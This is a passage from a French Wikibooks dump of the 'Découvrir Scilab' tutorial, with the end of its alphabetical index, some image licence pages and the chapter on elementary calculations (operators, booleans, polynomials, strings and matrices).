sons#carte_couleurs2|2]] ** niveaux 3D : [[Découvrir Scilab Graphiques et sons#niveau_3d1|1]] ** tracé de fonction 2D : [[Découvrir Scilab Graphiques et sons#couleur_2d1|1]] * <code>contour2d</code> : [[Découvrir Scilab Graphiques et sons#contour2d1|1]] * Courbes de niveau (voir aussi ''Carte de couleurs'' et ''Couleur : niveau 3D'') : [[Découvrir Scilab Graphiques et sons#courbes_niveau1|1]] == D == * <code>deff</code> : [[Découvrir Scilab Calculs élémentaires#deff1|1]], '''[[Découvrir Scilab Calcul numérique#deff2|2]]''', [[Découvrir Scilab Graphiques et sons#deff3|3]], [[Découvrir Scilab Graphiques et sons#deff4|4]], '''[[Découvrir Scilab Programmation#deff5|5]]''' * <code>.den</code> : [[Découvrir Scilab Calculs élémentaires#den1|1]] * <code>derivat</code> : [[Découvrir Scilab Calculs élémentaires#derivat1|1]] * dérivée ** ~ formelle de polynômes et fractions rationnelles : [[Découvrir Scilab Calculs élémentaires#derivee_formelle1|1]] * <code>det</code> : [[Découvrir Scilab Calculs élémentaires#det1|1]] * <code>determ</code> : [[Découvrir Scilab Calculs élémentaires#determ1|1]] * Déterminant d'une matrice : [[Découvrir Scilab Calculs élémentaires#determinant1|1]] * <code>detr</code> : [[Découvrir Scilab Calculs élémentaires#detr1|1]] * <font id="Difference_operateur">Différence (opérateur)</font>, <code>&lt;&gt;</code>, <code>~=</code> : [[Découvrir Scilab Calculs élémentaires#difference1|1]] * <code>do</code> : [[Découvrir Scilab Programmation#do1|1]] == E == * ''e'', <code>%e</code> : [[Découvrir Scilab Interface#e1|1]] * <font id="echelle">Échelle</font> (voir aussi ''[[#axe|Axe]]'') ** ~ logarithmique : [[Découvrir Scilab Graphiques et sons#echelle_log1|1]] * <font id="Egalite_operateur">Égalité (opérateur)</font>, <code>==</code> : [[Découvrir Scilab Calculs élémentaires#egalite1|1]] * Ellipse (tracé d'une ~) : voir ''[[#xarc|Xarc]]'' * <code>else</code> : [[Découvrir Scilab Programmation#else1|1]] * <code>end</code> : [[Découvrir Scilab Programmation#end1|1]] * <code>erf</code> : [[Découvrir Scilab Calculs élémentaires#erf1|1]] * <font id="Et_logique">Et logique</font>, <code>&amp;</code> : [[Découvrir Scilab Calculs élémentaires#et1|1]] * <code>evstr</code> : [[Découvrir Scilab Calculs élémentaires#evstr1|1]] * Équation : voir ''[[#solveur|Solveur d'équation]]'' : * Étiquette (sur un graphique) : voir ''[[#xstring|Xstring]]'' * <code>exec</code> : [[Découvrir Scilab Programmation#exec1|1]] * <code>execstr</code> : [[Découvrir Scilab Calculs élémentaires#execstr1|1]] * <code>exit</code> : [[Découvrir Scilab Interface#exit1|1]] * <code>eye</code> : [[Découvrir Scilab Calculs élémentaires#eye1|1]] == F == * Faux (booléen), <code>%f</code> : [[Découvrir Scilab Calculs élémentaires#faux1|1]] * <code>feval</font> : [[Découvrir Scilab Calculs élémentaires#feval1|1]], [[Découvrir Scilab Calcul numérique#feval2|2]], [[Découvrir Scilab Graphiques et sons#feval3|3]], [[Découvrir Scilab Graphiques et sons#feval4|4]] * Fonction ** interne (ou « primitive ») : [[Découvrir Scilab Calculs élémentaires#interne1|1]] *** ~s classiques : [[Découvrir Scilab Calculs élémentaires#interne_classique1|1]] ** extérieure : [[Découvrir Scilab Calculs élémentaires#exterieure1|1]], [[Découvrir Scilab Calculs élémentaires#exterieure2|2]], [[Découvrir Scilab Calcul numérique#exterieure3|3]] * <code>for</code> : [[Découvrir Scilab Programmation#for1|1]] * <code>fplot</code> : [[Découvrir Scilab Graphiques et sons#fplot1|1]] * <code>fplot3d</code> et <code>fplot3d1</code> : [[Découvrir Scilab Graphiques et sons#fplot3d1|1]] * Fraction rationnelle : [[Découvrir Scilab Calculs élémentaires#fraction_rationnelle1|1]] ** dérivée formelle : [[Découvrir Scilab Calculs élémentaires#derivee_formelle1|1]] ** simplification : [[Découvrir Scilab Calculs élémentaires#simplification_fraction_rationnelle1|1]] * <code>function</code> : [[Découvrir Scilab Calculs élémentaires#function1|1]], '''[[Découvrir Scilab Calcul numérique#function2|2]]''', [[Découvrir Scilab Graphiques et sons#function3|3]], [[Découvrir Scilab Graphiques et sons#function4|4]], '''[[Découvrir Scilab Programmation#function5|5]]''' == G == * <code>get</code> : [[Découvrir Scilab Graphiques et sons#get1|1]], [[Découvrir Scilab Graphiques et sons#get2|2]] * <code>getsymbol</code> : [[Découvrir Scilab Graphiques et sons#getsymbol1|1]] * <code>graycolormap</code> : voir ''[[#colormap|Colormap]]'' * <code><font id="grayplot">grayplot</font></code> : [[Découvrir Scilab Graphiques et sons#grayplot1|1]] * <font id="guillemet">Guillemet</font> : [[Découvrir Scilab Interface#guillemet1|1]] == H == * <code>help</code> : [[Découvrir Scilab Interface#help1|1]], * <code>hotcolormap</code> : voir ''[[#colormap|Colormap]]'' == I == * ''i'', <code>%i</code> : [[Découvrir Scilab Interface#i1|1]] * <code>if</code> : [[Découvrir Scilab Programmation#if1|1]] * <font id="Infini">Infini</font>, <code>%inf</code> : [[Découvrir Scilab Interface#infini1|1]] * <code>int</code> : [[Découvrir Scilab Calculs élémentaires#int1|1]] * <code>integrate</code> : [[Découvrir Scilab Calcul numérique#integrate1|1]] * Intégration : [[Découvrir Scilab Calcul numérique#integration1|1]] * <code>inv</code> : [[Découvrir Scilab Calculs élémentaires#inv1|1]] * Inversion de matrice : [[Découvrir Scilab Calculs élémentaires#matrice_inversible1|1]] == J == * <code>jetcolormap</code> : voir ''[[#colormap|Colormap]]'' == L == * Légende d'un graphique : [[Découvrir Scilab Graphiques et sons#legende1|1]], [[Découvrir Scilab Graphiques et sons#legende2|2]] * <code>linsolve</code> : [[Découvrir Scilab Calcul numérique#linsolve1|1]] * <code>linspace</code> : [[Découvrir Scilab Calculs élémentaires#linspace1|1]], [[Découvrir Scilab Graphiques et sons#linspace2|2]] * <code>listvarinfile</code> : [[Découvrir Scilab Gestion des fichiers#listvarinfile1|1]] * <code>load</code> : [[Découvrir Scilab Gestion des fichiers#load1|1]] * <code>loadwave</code> : [[Découvrir Scilab Gestion des fichiers#loadwave1|1]] * Logarithme : [[Découvrir Scilab Calculs élémentaires#logarithme1|1]] ** échelle logarithmique : voir ''[[#echelle|Échelle]]'' == M == * Matrice : [[Découvrir Scilab Calculs élémentaires#matrice1|1]], [[Découvrir Scilab Calculs élémentaires#matrice2|2]] ** carte de couleurs : [[Découvrir Scilab Graphiques et sons#carte_couleurs1|1]] ** matrice carrée : [[Découvrir Scilab Calculs élémentaires#matrice_carree1|1]] ** matrice inversible : [[Découvrir Scilab Calculs élémentaires#matrice_inversible1|1]] ** matrice unité : [[Découvrir Scilab Calculs élémentaires#matrice_unite1|1]] == N == * <font id="Non_logique">Non logique</font>, <code>~</code> : [[Découvrir Scilab Calculs élémentaires#non1|1]] * <code>.num</code> : [[Découvrir Scilab Calculs élémentaires#num1|1]] == O == * <code>ode</code> : [[Découvrir Scilab Calcul numérique#ode1|1]] * Opérateur ** ~classiques : [[Découvrir Scilab Calculs élémentaires#operateur_classique1|1]] * <font id="Ordre_operateur">Ordre (opérateur)</font>, <code>&lt;</code>, <code>&gt;</code>, <code>&lt;=</code>, <code>&gt;=</code> : [[Découvrir Scilab Calculs élémentaires#ordre1|1]] * <font id="Ou_logique">Ou logique</font>, <code>|</code> : [[Découvrir Scilab Calculs élémentaires#ou1|1]] == P == * <code>param3d</code> et <code>param3d1</code> : [[Découvrir Scilab Graphiques et sons#param3d1|1]] * <font id="Pi">Pi</font>, <code>%pi</code> : [[Découvrir Scilab Interface#pi1|1]] * <code>playsnd</code> : [[Découvrir Scilab Gestion des fichiers#playsnd1|1]] * <code>plot</code> : [[Découvrir Scilab Calcul numérique#plot1|1]], [[Découvrir Scilab Graphiques et sons#plot2|2]] * <code>plot2d''i''</code> (<code>plot2d</code>, <code>plot2d2</code>, <code>plot2d3</code>, <code>plot2d4</code>) : [[Découvrir Scilab Graphiques et sons#plot2di1|1]] * <code>plot3d</code> et <code>plot3d1</code> : [[Découvrir Scilab Graphiques et sons#plot3d1|1]] * <code>polarplot</code> : [[Découvrir Scilab Graphiques et sons#polarplot1|1]] * <code>poly</code> : [[Découvrir Scilab Calculs élémentaires#poly1|1]], [[Découvrir Scilab Calculs élémentaires#poly2|2]] * Polygone (tracé de ~) : voir ''[[#xpoly|Xpoly]]'' * Polynôme : [[Découvrir Scilab Calculs élémentaires#polynome1|1]] ** dérivée formelle : [[Découvrir Scilab Calculs élémentaires#derivee_formelle1|1]] * Primitive : voir ''Fonction interne'' * puissance de dix : [[Découvrir Scilab Calculs élémentaires#puissance_dix1|1]] == Q == * <code>quit</code> : [[Découvrir Scilab Interface#quit1|1]] == R == * <code>rand</code> : [[Découvrir Scilab Calculs élémentaires#rand1|1]] * Rectangle (tracé de ~) : voir ''[[#xrect|Xrect]]'' * <code>roots</code> : [[Découvrir Scilab Calculs élémentaires#roots1|1]] * <code>round</code> : [[Découvrir Scilab Calculs élémentaires#round1|1]] == S == * <code>save</code> : [[Découvrir Scilab Gestion des fichiers#save1|1]] * <code>savewave</code> : [[Découvrir Scilab Gestion des fichiers#savewave1|1]] * <code>.SCE </code>(fichier ~) : [[Découvrir Scilab Interface#sce1|1]], [[Découvrir Scilab Programmation#sce2|2]] * SciPad : [[Découvrir Scilab Interface#scipad1|1]], [[Découvrir Scilab Programmation#scipad2|2]] * <code>set</code> : [[Découvrir Scilab Graphiques et sons#set1|1]] * <code>simp</code> : [[Découvrir Scilab Calculs élémentaires#simp1|1]] * Simplification de fraction rationnelle : [[Découvrir Scilab Calculs élémentaires#simplification_fraction_rationnelle1|1]] * <code>size</font> : [[Découvrir Scilab Calculs élémentaires#size1|1]] * <code>solve</code> : [[Découvrir Scilab Calcul numérique#solve1|1]] * <font id="solveur">Solveur d'équation</font> : [[Découvrir Scilab Calcul numérique#solveur1|1]] * son : [[Découvrir Scilab Graphiques et sons#son1|1]], [[Découvrir Scilab Gestion des fichiers#son2|2]] * <code>sound</code> : [[Découvrir Scilab Graphiques et sons#sound1|1]] * <code>soundsec</code> : [[Découvrir Scilab Graphiques et sons#soundsec1|1]] * <code>str2code</code> : [[Découvrir Scilab Gestion des fichiers#str2code1|1]] * <code>subplot</code> : [[Découvrir Scilab Graphiques et sons#subplot1|1]] == T == * <code>%t</code> : voir ''Vrai (booléen)'' * <code>then</code> : [[Découvrir Scilab Programmation#then1|1]] * Titre d'un graphique : [[Découvrir Scilab Graphiques et sons#titre1|1]] * <code>titlepage</code> : [[Découvrir Scilab Graphiques et sons#titlepage1|1]] * <code>trace</code> : [[Découvrir Scilab Calculs élémentaires#trace1|1]] * Trait (épaisseur et couleur d'un ~) : [[Découvrir Scilab Graphiques et sons#style_trait1|1]] * Transposition d'une matrice : [[Découvrir Scilab Calculs élémentaires#transposition1|1]] * <code>type</code> : [[Découvrir Scilab Gestion des fichiers#type1|1]] == V == * <code>varn</code> : [[Découvrir Scilab Calculs élémentaires#varn1|1]] * <font id="vecteur">Vecteur</font> : [[Découvrir Scilab Calculs élémentaires#vecteur1|1]] ** champ de ~s : [[Découvrir Scilab Graphiques et sons#champ_vecteurs1|1]] ** domaine en ''x'' d'un tracé de fonction : [[Découvrir Scilab Graphiques et sons#vecteur_domaine_trace_1|1]] * Vrai (booléen) : [[Découvrir Scilab Calculs élémentaires#vrai1|1]] == W == * <code>.WAV</code> : [[Découvrir Scilab Gestion des fichiers#wav1|1]] * <code>while</code> : [[Découvrir Scilab Programmation#while1|1]] * <code>who</code> : [[Découvrir Scilab Calculs élémentaires#who1|1]] == X == * <code><font id="xarc">xarc</font></code>, <code>xfarc</code> : [[Découvrir Scilab Graphiques et sons#xarc1|1]] * <code>xgrid</code> : [[Découvrir Scilab Graphiques et sons#xgrid1|1]] * <code><font id="xpoly">xpoly</font></code>, <code>xfpoly</code> : [[Découvrir Scilab Graphiques et sons#xpoly1|1]] * <code><font id="xrect">xrect</font></code>, <code>xfrect</code> : [[Découvrir Scilab Graphiques et sons#xrect1|1]] * <code>xset</code> : [[Découvrir Scilab Graphiques et sons#xset1|1]], [[Découvrir Scilab Graphiques et sons#xset2|2]], [[Découvrir Scilab Graphiques et sons#xset3|3]] * <code><font id="xstring">xstring</font></code> : [[Découvrir Scilab Graphiques et sons#xstring1|1]] * <code>xtitle</code> : [[Découvrir Scilab Graphiques et sons#xtitle1|1]] == Z == * <code>zeros</code> : [[Découvrir Scilab Calculs élémentaires#zeros1|1]] ---- ''[[Découvrir Scilab Gestion des fichiers|Gestion des fichiers]]'' &lt; [[Découvrir Scilab|↑]] | Catégorie:Informatique 8356 42653 2006-05-17T14:39:40Z Cdang 1202 [[catégorie:science]] [[catégorie:science]] Image:Scilab ligne commande macos.png 8359 42681 2006-05-17T17:48:30Z Cdang 1202 [[catégorie:capture d'écran]] capture d'écran de Scilab sous MacOS X Auteur : Christophe Dang Ngoc Chan ([[utilisateur:cdang|cdang]]) Licence ''Fair use'' : le logiciel est la propriété intellectuelle du Scilab Consortium, mais : * il s'agit d'un logiciel dont les exécutables ''et'' les sources sont téléchargeables gratuitement ; * l'utilisation de cette image ne porte pas préjudice au propriétaire. Le Scilab Consortium est contacté pour définir exactement la licence d'utilisation (cf. [http://commons.wikimedia.org/wiki/Image_talk:Scilab_ligne_commande_Windows.png ici]). {{Fair use}} [[catégorie:capture d'écran]] Catégorie:Capture d'écran 8360 43457 2006-05-30T09:03:52Z Cdang 1202 [[catégorie:logiciel]] [[catégorie:Image]] [[catégorie:Informatique]] [[catégorie:logiciel]] Image:Touche pomme.svg 8361 42810 2006-05-19T14:06:10Z Cdang 1202 typo Touche « Pomme » des claviers Apple. Réalisé avec Inkscape, d'après la logo PNG d'Apple sur Wikipédia. Auteur : Christophe Dang Ngoc Chan ([[user:cdang|cdang]]) Licence : cette image est nécessaire pour bien décrire les saisies clavier ; l'utilisation de cette image ne porte pas atteinte à Apple Computer {{Fair use}} [[Catégorie:informatique]] Modèle:Pomme 8362 42696 2006-05-17T20:50:50Z Cdang 1202 légende [[image:Touche_pomme.svg|14px|touche pomme]] Image:Scilab windows boutons edition.png 8363 42725 2006-05-18T10:02:33Z Cdang 1202 == Résumé == Boutons d'édition ('''Copier''' et '''Coller''') de l'interface Microsoft Windows de Scilab. Auteur : Christophe Dang Ngoc Chan ([[user:cdang|]]) == Licence == Les boutons sont utilisés par de nombreuses applicaitons sous Windows. Le == Résumé == Boutons d'édition ('''Copier''' et '''Coller''') de l'interface Microsoft Windows de Scilab. Auteur : Christophe Dang Ngoc Chan ([[user:cdang|cdang]]) == Licence == Les boutons sont utilisés par de nombreuses applicaitons sous Windows. Le propriétaire des droits n'est pas connu, mais il est fort probable que leur utilisaiton est totalement libre, aucun éditeur de logiciel n'ayant été inquiété pour leur utilisation. {{Fair use}} [[catégorie:capture d'écran]] Découvrir Scilab Calculs élémentaires 8364 46306 2006-06-28T12:17:44Z Cdang 1202 /* Définir une matrice */ virgule1 -> virgule2 {{Scilab}} <br :> <big><big><big>2. Calculs élémentaires</big></big></big> ---- Scilab peut s'utiliser comme une calculatrice scientifique, de type calculatrice graphique. Il suffit de taper une formule dans une syntaxe relativement standard, et d'appuyer sur le retour chariot pour avoir le résultat. == Opérateurs et fonctions classiques == Scilab utilise les <font id="interne_classique1">fonctions</font> et <font id="operateur_classique1">opérateurs</font> classiques : * <code>+</code> (addition), <code>-</code> (soustraction), <code>*</code> (produit), <code>/</code> (division), <code>^</code> ou <code>**</code> (élévation à une puissance), * <code>sqrt()</code> (racine carrée), * <code>cos()</code>, <code>sin()</code>, <code>tan()</code> pour les fonctions trigonométriques de base, <code>acos()</code>, <code>asin()</code>, <code>atan()</code> pour leurs réciproques, <code>cotg()</code> pour la cotangente ; * les fonctions trigonométriques hyperboliques <code>cosh()</code>, <code>sinh()</code>, <code>tanh()</code>, <code>acosh()</code>, <code>asinh()</code>, <code>atanh()</code> * <code>log()</code> pour le <font id="logarithme1">logarithme</font> naturel (népérien, ln), <code>log10()</code> pour le logarithme en base 10 (log<sub>10</sub>), <code>log2()</code> pour le logarithme en base 2 (log<sub>2</sub>), * <code>exp()</code> pour la fonction exponentielle, * <font id="int1"><code>int()</code></font> pour la partie entière, <font id="round1"><code>round()</code></font> pour l’arrondi au plus proche (0,5 &rarr; 1), <code>abs()</code> pour la valeur absolue, * <font id="erf1"><code>erf()</code></font> pour la fonction d'erreur de Gauss, * <font id="rand1"><code>rand</code></font> pour avoir un nombre aléatoire entre 0 et 1, suivant une loi uniforme ; <font id="rand1"><code>rand(1,'normal')</code></font> pour avoir un nombre aléatoire suivant une loi normale centrée réduite (moyenne 0, variance 1) ; *… Le séparateur décimal est le <font id="point1">point</font>. Les <font id="puissance_dix1">puissances de 10</font> se notent avec la lettre « e » en minuscule ou en capitale : 5,2·10<sup>3</sup> s'écrit <code>5.2e3</code> ou <code>5.2E3</code>, 5,2·10<sup>-3</sup> s'écrit <code>5.2e-3</code> ou <code>5.2E-3</code>. On peut aussi utiliser le « d » minuscule ou capital. ---- ; Vocabulaire : Dans Scilab, une « <font id="interne1">fonction interne</font><ref>la documentation utilise le terme de « primitive » ; il y a une ambiguité en français que nous avons décidé de lever dans le présent ouvrage en changeant le terme (en anglais, le problème ne se pose pas puisque la primitive d'une fonctions est appelée « ''antiderivative'' »)</ref> » est une fonction prédéfinie. Par opposition, les fonctions définies par l'utilisateur sont appelées « <font id="exterieure1">fonctions extérieures</font> ». ---- == Constantes particulières == <font id="pourcent1">Pour</font> entrer l’imaginaire ''i'', il faut utiliser <font id="i1"><code>%i</code></font>&nbsp;; il figure simplement sous la forme «&nbsp;<code>i</code>&nbsp;» dans les résultats. Pour entrer l’infini ∞, il faut utiliser <font id="infini1"><code>%inf</code></font>&nbsp;; il figure simplement sous la forme «&nbsp;<code>inf</code>&nbsp;» dans les résultats. La valeur de π s’obtient par <font id="pi1"><code>%pi</code></font>, et la constante de Neper ''e'' par <font id="e1"><code>%e</code></font>. == Variables == <font id="assignation1">On</font> peut définir des variables simplement sous la forme <code>''NomVariable''=''valeur''</code>. ''NomVariable'' est une chaîne de caractères commençant par une lettre ; Scilab est sensible à la casse, c'est-à-dire que les variables « a » et « A » sont deux variables différentes. Le type de la variable (entier, réel, imaginaire) est géré automatiquement. La variable <font id="ans1"><code>ans</code></font> contient le dernier résultat (pour ''answer'', « réponse » an anglais). La fonction <font id="who1"><code>who</code></font> affiche les variables déclarées (''who?'' signifie « qui ? » en anglais). On remarque que dès l'ouverture, Scilab a défini de nombreuses variables, notamment des variables dites « d'environnement », c'est-à-dire des paramétrages de fonctionnement de Scilab. == Exemples == ; Exemple 1 -->asin(sqrt(2)/2) ans = 0.7853982 -->ans/%pi*180 ans = 45 : (puisque sin(45°) = √2/2) ; Exemple 2 -->%e^(%i*%pi/2) ans = 6.1273D-17 + i :notez que dans l'absolu, on devrait obtenir ''i''. ; Exemple 3 : calcul de la pression, en Pa, de 2,5 moles de gaz parfait dans un volume de un litre (10<sup>-3</sup> m<sup>3</sup>) à une température de 300 K (26,85 °C) -->n=2.5;R=8.314472;T=300;V=1e-3; -->n*R*T/V ans = 6235854 : soit environ 6,2·10<sup>6</sup> Pa. == Booléens == <font id="boole1">Lorsque</font> l’on assigne une valeur booléenne, <font id="pourcent2">on</font> utilise <font id="vrai1"><code>%t</code></font> pour «&nbsp;vrai&nbsp;» ''(true)'' et <font id="faux1"><code>%f</code></font> pour «&nbsp;faux&nbsp;» ''(false)''. Le résultat de l’opération affiché est respectivement <code>T</code> ou <code>F</code>. L’opérateur Ou est noté <font id="ou1">«&nbsp;<code>|</code>&nbsp;»</font> (tube), Et est noté <font id="et1">«&nbsp;<code>&amp;</code>&nbsp;»</font> (esperluette), Non est noté <font id="non1">«&nbsp;<code>~</code>&nbsp;»</font> (tilde). ; Exemple -->(%t & %f) | %f ans = &nbsp; F. Un booléen peut également s’obtenir en comparant deux valeurs, avec les relations <font id="egalite1">d’égalité <code>==</code></font> et de <font id="difference1">différence <code>&lt;&gt;</code> ou <code>~=</code></font>, et les relations <font id="ordre1">d'ordre <code>&lt;</code>, <code>&lt;=</code>, <code>&gt;</code> et <code>&gt;=</code></font>. ; Exemple -->a=3 a = 3. -->a==3 ans = T -->a<2 ans = F == Polynômes et fractions rationnelles == Scilab manipule les <font id="polynome1">polynômes</font> et <font id="fraction_rationnelle1">fractions rationnelles</font> formels, c'est-à-dire non pas en tant que fonction, mais en tant qu'objets mathématiques, éléments du corps des polynômes ou des fractions rationnelles. La première opération pour définir un polynôme est de définir le monôme ''x''. Ceci se fait par la commande <font id="poly1"><code>x = poly(0, 'x')</code></font>. Cette commande indique que la variable ''x'' est un polynôme (commande <code>poly()</code>) dont l'indéterminée est notée « x » (le <code>'x'</code> situé à l'intérieur de la parenthèse) et la racine est 0. Puis, le polynôme ou la fraction rationnelle est définie par une formule contenant ce ''x''. ; Exemple de définition de polynôme -->x = poly(0, 'x'); p = x ^ 2 + 2 * x + 1 p = 2 1 + 2x + x ; Exemple de définition de fraction rationnelle -->x = poly(0, 'x'); q = (1 + x) / (1 - x) q = 1 + x ----- 1 - x Les polynôme et fractions rationnelles se manipulent ensuite de manière formelle comme les autres variables. Voici des exemples à partir des objets définis ci-dessus. ; Exemple -->1/q ans = 1 - x ----- 1 + x --> p*q ans = 2 3 1 + 3x + 3x + x ---------------- 1 - x La fonction <font id="derivat1"><code>derivat()</code></font> fait la <font id="derivee_formelle1">dérivée formelle</font> du polynôme ou de la fonction rationnelle. De manière interne, Scilab représente les polynôme et fractions rationnelles comme des <font id="matrice1">matrices</font>. Ainsi, avec les exemples précédents, <code>p(1)</code> va nous renvoyer <code>1+2x+x<sup>2</sup></code>, <code>q(2)</code> donnera <code>1+x</code> ; on ne peut donc pas utiliser un polynôme comme une fonction classique. L'évaluation, c'est-à-dire l'utilisation du polynôme ou de la fraction rationnelle comme fonction numérique, se fait avec la fonction <font id="horner1"><code>horner</code></font> : : <code>horner(''f'',''val'')</code> calcule ƒ(''val''). ; Exemple -->horner(p,2) ans = 9. === Fonctions spécifiques aux polynômes === La fonction <font id="roots1"><code>roots(''p'')</code></font> donne les racines du polynôme ''p'', la fonction <font id="coeff1"><code>coeff(''p'')</code></font> donne une matrice dont les coefficients sont les coefficients du polynôme ''p''. La fonction <font id="varn1"><code>varn(''p'')</code></font> renvoit le nom de l’indéterminée de ''p'' (ici, ''x''). En fait, la commande <font id="poly2"><code>x = poly(0, 'x')</code></font> définit que ''x'' est le polynôme le plus simple dont l’indéterminée est le caractère «&nbsp;x&nbsp;» et dont la racine est 0, c’est-à-dire le monôme ''x''. La commande <code>x = poly(2, 'x')</code> définit de même le polynôme le plus simple ayant pour racine 2, c’est-à-dire ''x'' - 2. Cette fonction permet de définir un polynôme ayant plusieurs racines, en utilisant une matrice ligne au lieu d’un simple nombre. Par exemple, <code>x=poly([1 2],'x')</code> définit le polynôme le plus simple ayant pour racines 1 et 2, soit le polynôme ''x''<sup>2</sup> - 3''x'' + 2. On peut aussi utiliser cette fonction pour générer un polynôme dont les coefficients sont contenue dans une matrice ligne, en ajoutant le caractère <code>'c'</code> à la fin des arguments. Par exemple, <code>x = poly([''a0'', ''a1'', …, ''an''], 'x', 'c')</code> définit le polynôme ''a0'' + ''a1''·''x'' + … + ''an''·''x''<sup> ''n''</sup>. === Fonctions spécifiques aux fractions rationnelles === La fraction rationnelle ''q'' est le rapport de deux polynômes, notés <font id="num1">''q.num''</font> (numérateur) et <font id="den1">''q.den''</font> (dénominateur), qui peuvent se manipuler comme des polynômes normaux. ;Exemple -->q.num ans = 1+x -->q.num^2 ans = 2 1 - 2x + x La fonction <font id="simp1"><code>simp()</code></font> fait la <font id="simplification_fraction_rationnelle">simplification de la fraction rationnelle</font>. == Chaînes de caractère == L'opérateur « <code>+</code> » permet la <font id="concatenation1">concaténation</font> de deux <font id="chaine2">chaînes de caractère</font>. La fonction <font id="evstr1"><code>evstr()</code></font> permet de transformer une chaîne en une expression Scilab (on parle « d'évaluation de la chaîne »). La fonction <font id="execstr1"><code>execstr()</code></font> permet d'exécuter le contenu de la chaîne. ; Exemple -->a='1'; -->evstr(a)*2 ans = 2. -->b='x';c='=5';execstr(b+c) -->x^2 ans = 25. : la chaîne b+c est 'x=5', cette chaîne est exécutée, ce qui signifie que la valeur 5 est attribuée à la variable x, ce que confirme le calcul fait par la suite. == Matrices == <font id="matrice2">Scilab a été conçu pour le calcul matriciel</font>. Les éléments des matrices peuvent être de tout type (nombre réel, nombre complexe, booléen, polynôme, fraction rationnelle, chaîne de caractères…). === Définir une matrice === Pour définir une matrice à partir de ses coefficients, on les place entre deux <font id="crochet1">crochets</font> <code>[…]</code>. Les éléments d’une ligne sont séparés d’un espace ou d’une <font id="virgule2">virgule</font>, les lignes sont séparées d’un <font id="point_virgule2">point-virgule</font>. À l’affichage, la matrice est représentée comme un tableau encadré par des <font id="point_exclamation1">points d’exclamation</font>. ; Exemple -->[1,0,0;0,1,0;0,0,1] ans = &nbsp; ! 1. 0. 0. ! ! 0. 1. 0. ! ! 0. 0. 1. ! La matrice vide est notée par <code>[]</code>. L’expression <code>M(i,j)</code> désigne l’élément (''i'', ''j'') de la matrice ''M''. Le caractère <font id="deux_points1"><code>:</code></font> (deux-points) signifie «&nbsp;tous les indices&nbsp;», par exemple <code>M(1,&nbsp;:)</code> est la première ligne de la matrice (c’est un vecteur ligne). Le caractère <font id="dollar1"><code>$</code></font> (dollar) désigne le dernier indice (ligne ou colonne) d’une matrice. L’expression <code>''N1'':''N2''</code> permet de générer une matrice-ligne dont le premier coefficient est ''N1'', le dernier est inférieur ou égal à ''N2'', et le pas entre les coefficients est 1. L’expression <code>''N1'':''pas'':''N2''</code> permet de générer une matrice-ligne en choisissant le pas. Par exemple -->1.1:5.2 ans = &nbsp; ! 1.1 2.1 3.1 4.1 5.1 ! &nbsp; --> 1:2:5 ans = &nbsp; ! 1 3 5 ! &nbsp; -->'a'&nbsp;:'d' ans = &nbsp; abcd On peut aussi utiliser la fonction : <code><font id="linspace1">linspace(''x1'', ''x2'', ''n'')</font></code> pour générer une matrice ligne de ''n'' valeurs espacées régulièrement entre ''x1'' et ''x2''. La fonction <font id="zeros1"><code>zeros(''m'',''n'')</code></font> crée une matrice ''m''×''n'' remplie de 0&nbsp;; la fonction <code>ones(''m'',''n'')</code> crée une matrice ''m''×''n'' remplie de 1. La fonction <font id="eye1"><code>eye(''n'',''n'')</code></font> crée une <font id="matrice_unite1">matrice unité ''n''×''n''</font>. On peut aussi passer une matrice ''M'' en paramètre de ces fonctions&nbsp;; elles créent alors une matrice de même dimension que la matrice ''M''. Par exemple, <code>M=zeros(M)</code> met tous les coefficients de M à zéro. Si ƒ est une <font id="exterieure2">fonction extérieure</font> (c’est-à-dire par définie par <font id="deff1"><code>deff</code></font> ou par <font id="function1"><code>function</code></font>, voir ci-après), et que ''x'' et ''y'' sont des vecteurs, alors la fonction <font id="feval1"><code>feval</code></font> permet de bâtir une matrice ''z'' = ƒ(''x'', ''y'') : <code>z = feval(x, y, f)</code>&nbsp;: on a ''z''(''i'', ''j'') = ''f''(''x''(''i''), ''y''(''j'')) === Fonctions et opérateurs sur les matrices === Toutes les fonctions numériques s’appliquent à des matrices&nbsp;; par exemple si ''M'' est une matrice, alors <code>cos(M)</code> sera la matrice dont les coefficients sont les cosinii des coefficients de ''M''. La fonction <font id="size1"><code>size(M)</code></font> renvoit la taille de la matrice sous la forme d’une matrice 2×1 contenant le nombre de lignes puis le nombre de colonnes. Les opérations spécifiques aux matrices classiques sont&nbsp;: * la <font id="transposition1">transposition</code>&nbsp;: il suffit de mettre une <font id="apostrophe2">apostrophe</font> <code>’</code> après la matrice&nbsp;; * le produit de matrices&nbsp;: <code>*</code>&nbsp;; * produit et rapport élément par élément&nbsp;: <font id="point2"><code>.*</code></font> et <code>./</code>&nbsp;; * le produit tensoriel <code>.*.</code>&nbsp;; * le <font id="determinant1">déterminant</font> d’une <font id="matrice_carree1">matrice carrée</font> ''M''&nbsp;: <font id="det1"><code>det(''M'')</code></font> (<font id="determ1"><code>determ()</code></font> pour une matrice de polynômes et <font id="detr1"><code>detr()</code></font> pour une matrice de fraction rationnelle)&nbsp;; * la trace d’une matrice carrée ''M''&nbsp;: <font id="trace1"><code>trace(''M'')</code></font>&nbsp;; * l’inverse d’une <font id="matrice inversible1">matrice inversible</font> ''M''&nbsp;: <font id="inv1"><code>inv(''M'')</code></font>. === Vecteur === Un <font id="vecteur1">vecteur</font> est une matrice ligne ou colonne (matrice 1 × ''n'' ou ''n'' × 1)&nbsp;; l’expression <code>V(i)</code> désigne la composante ''i'' du vecteur ''V''. Si ''V1'' et ''V2'' sont des vecteurs colonnes, alors le produit scalaire est : <code>V1' * V2</code>&nbsp;; si ce sont des vecteurs lignes, le produit scalaire est : <code>V1 * V2'</code>. === Importance des matrices dans Scilab === Les matrices sont très utilisées dans Scilab pour définir les paramètres. Ainsi, pour tracer une courbe, il utilise un nuage de point sous forme de matrice, ou encore, pour effectuer une boucle itérative, il prend les indices dans une matrice ligne ou colonne. La syntaxe propre aux matrice va donc se retrouver dans de nombreux endroits. == Voir aussi == ; Dans Wikipédia * [[w:Algèbre booléenne|Algèbre booléenne]] ** [[w:Opérateur logique|Opérateur logique]] * [[w:Concaténation|Concaténation]] * [[w:Fraction rationnelle|Fraction rationnelle]] * [[w:Matrice (mathématiques)|Matrice]] ** [[w:Calcul matriciel|Calcul matriciel]] ** [[w:Déterminant (mathématiques)|Déterminant]] ** [[w:Matrice inversible|Matrice inversible]] ** [[w:Matrice unité|Matrice unité]] ** [[w:Produit tensoriel|Produit tensoriel]] ** [[w:Trace (algèbre)|Trace]] * [[w:Polynôme|Polynôme]] ** [[w:Fonction 